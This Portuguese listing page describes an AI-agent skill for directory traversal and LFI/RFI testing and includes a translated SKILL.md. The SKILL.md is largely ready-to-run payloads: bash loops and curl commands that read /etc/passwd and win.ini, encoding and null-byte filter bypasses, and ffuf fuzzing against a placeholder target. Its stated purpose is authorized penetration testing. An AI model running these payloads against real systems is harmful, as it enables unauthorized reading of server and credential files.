performing-directory-traversal-testing
Ensina seu agente de IA a testar o código e achar erros antes dos usuários e proteger aplicações contra ataques.
O que ela faz
Esta ferramenta ajuda a testar sites para encontrar falhas de segurança que permitem acessar arquivos que não deveriam ser acessados. Ela tenta 'enganar' o site para que ele mostre arquivos do sistema ou de outros usuários.
Quando usar
- ✓Quando você tem permissão para testar a segurança de um site.
- ✓Ao verificar se um site permite baixar ou visualizar arquivos de forma segura.
- ✓Quando você suspeita que o site pode expor informações sensíveis.
Exemplo do que pedir para a IA
“Verifique se o site permite que eu veja o arquivo /etc/passwd usando um link como este: [link do site]?file=../../../etc/passwd”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta tenta diferentes maneiras de 'escapar' do diretório esperado, usando sequências como '../' ou codificações especiais. Ela também usa programas automáticos para testar muitas combinações rapidamente.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-directory-traversal-testingOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-directory-traversal-testing/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Testando Travessia de Diretório
Quando Usar
- Durante testes de penetração autorizados quando o aplicativo lida com caminhos de arquivo em parâmetros de URL ou corpos de requisição
- Ao testar funcionalidades de download de arquivo, visualização de arquivo ou inclusão de arquivo
- Para avaliar vulnerabilidades de Inclusão de Arquivo Local (LFI) e Inclusão de Arquivo Remoto (RFI)
- Ao avaliar motores de template, sistemas de log ou geradores de relatórios que referenciam arquivos
- Durante avaliações de segurança de APIs que aceitam nomes ou caminhos de arquivo como parâmetros
Pré-requisitos
- Autorização: Acordo de teste de penetração escrito para o alvo
- Burp Suite Professional: Para interceptar e modificar parâmetros de caminho de arquivo
- ffuf: Para fuzzing de parâmetros de caminho de arquivo com payloads de travessia
- dotdotpwn: Fuzzer automatizado de travessia de diretório (
apt install dotdotpwn) - SecLists: Listas de palavras de payload de travessia da coleção de Daniel Miessler
- curl: Para testes manuais de payloads de travessia
Fluxo de Trabalho
Passo 1: Identificar Parâmetros de Caminho de Arquivo
Encontre endpoints do aplicativo que referenciam arquivos através de parâmetros.
# Common file-handling patterns to look for:
# /download?file=report.pdf
# /view?page=about.html
# /api/files?path=documents/invoice.pdf
# /template?name=header.html
# /include?module=sidebar
# /image?src=photos/avatar.jpg
# /export?format=csv&template=default
# In Burp Suite, search proxy history for file-related parameters
# Filter by parameter names: file, path, page, template, include,
# module, src, doc, document, folder, dir, name, filename
# Test with a known valid file to establish baseline
curl -s "https://target.example.com/download?file=report.pdf" -o /dev/null -w "%{http_code} %{size_download}"
# Try referencing a file that shouldn't be accessible
curl -s "https://target.example.com/download?file=../../../etc/passwd"
Passo 2: Testar Payloads Básicos de Travessia de Diretório
Tente sair do diretório pretendido e ler arquivos sensíveis.
# Linux traversal payloads
PAYLOADS=(
"../../../etc/passwd"
"../../../../etc/passwd"
"../../../../../etc/passwd"
"../../../../../../etc/passwd"
"../../../../../../../etc/passwd"
"..%2f..%2f..%2fetc%2fpasswd"
"..%252f..%252f..%252fetc%252fpasswd"
"%2e%2e/%2e%2e/%2e%2e/etc/passwd"
"....//....//....//etc/passwd"
"..;/..;/..;/etc/passwd"
)
for payload in "${PAYLOADS[@]}"; do
echo -n "Testing: $payload -> "
response=$(curl -s "https://target.example.com/download?file=$payload")
if echo "$response" | grep -q "root:"; then
echo "VULNERABLE"
else
echo "Blocked"
fi
done
# Windows traversal payloads
WIN_PAYLOADS=(
"..\..\..\windows\win.ini"
"..%5c..%5c..%5cwindows%5cwin.ini"
"..\/..\/..\/windows/win.ini"
"....\\....\\....\\windows\\win.ini"
)
for payload in "${WIN_PAYLOADS[@]}"; do
echo -n "Testing: $payload -> "
curl -s "https://target.example.com/download?file=$payload" | head -c 100
echo
done
Passo 3: Aplicar Técnicas de Codificação e Bypass de Filtros
Use vários esquemas de codificação para contornar filtros de validação de entrada.
# URL encoding bypass
curl -s "https://target.example.com/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
# Double URL encoding
curl -s "https://target.example.com/download?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"
# UTF-8 encoding
curl -s "https://target.example.com/download?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd"
# Null byte injection (PHP < 5.3.4)
curl -s "https://target.example.com/download?file=../../../etc/passwd%00.pdf"
# Path truncation (Windows)
# Exceeding MAX_PATH (260 chars) to bypass extension checks
LONG_PATH="../../../etc/passwd"
for i in $(seq 1 200); do LONG_PATH="${LONG_PATH}/."; done
curl -s "https://target.example.com/download?file=$LONG_PATH"
# Case manipulation (Windows)
curl -s "https://target.example.com/download?file=..\..\..\..\WiNdOwS\win.ini"
# Dot-dot-slash variations
curl -s "https://target.example.com/download?file=....//....//....//etc/passwd"
curl -s "https://target.example.com/download?file=....//../../../etc/passwd"
# Using absolute path (if filter only blocks relative traversal)
curl -s "https://target.example.com/download?file=/etc/passwd"
Passo 4: Automatizar com ffuf e dotdotpwn
Use ferramentas automatizadas para testes abrangentes de travessia.
# ffuf com lista de payload de travessia
ffuf -u "https://target.example.com/download?file=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-mc 200 \
-fs 0 \
…
Perguntas frequentes
O que é 'path traversal'?
É uma falha de segurança onde um atacante consegue acessar arquivos fora da pasta permitida no servidor web, usando caminhos como '../'.
O que são LFI e RFI?
LFI (Local File Inclusion) é quando um atacante consegue incluir e ler arquivos do próprio servidor. RFI (Remote File Inclusion) é quando um atacante consegue incluir e executar arquivos de um servidor externo.
Preciso de permissão para usar esta ferramenta?
Sim, é crucial ter autorização explícita por escrito antes de testar qualquer sistema. Testes sem permissão são ilegais.
Detalhes
Descrição original do autor
Test web applications for path traversal and Local/Remote File Inclusion vulnerabilities by manipulating file path parameters, applying encoding and filter-bypass techniques, automating discovery with ffuf and dotdotpwn, and reading high-value files or achieving code execution. Use during authorized penetration tests of file download, view, or include functionality, or when assessing APIs that acc
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6054
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
cpp-testing
Faz seu agente escrever e melhorar testes para código C++. Ajuda a configurar ferramentas de teste e a corrigir erros.
affaan-m/ECC
csharp-testing
Ajuda seu agente a criar testes para código C# e .NET. Ele usa as melhores práticas para garantir que os testes sejam eficientes e confiáveis.
affaan-m/ECC
django-tdd
Faz seu agente aplicar estratégias de teste para Django com pytest-django e TDD. É útil para escrever testes robustos e garantir a qualidade do código, especialmente para APIs DRF.
affaan-m/ECC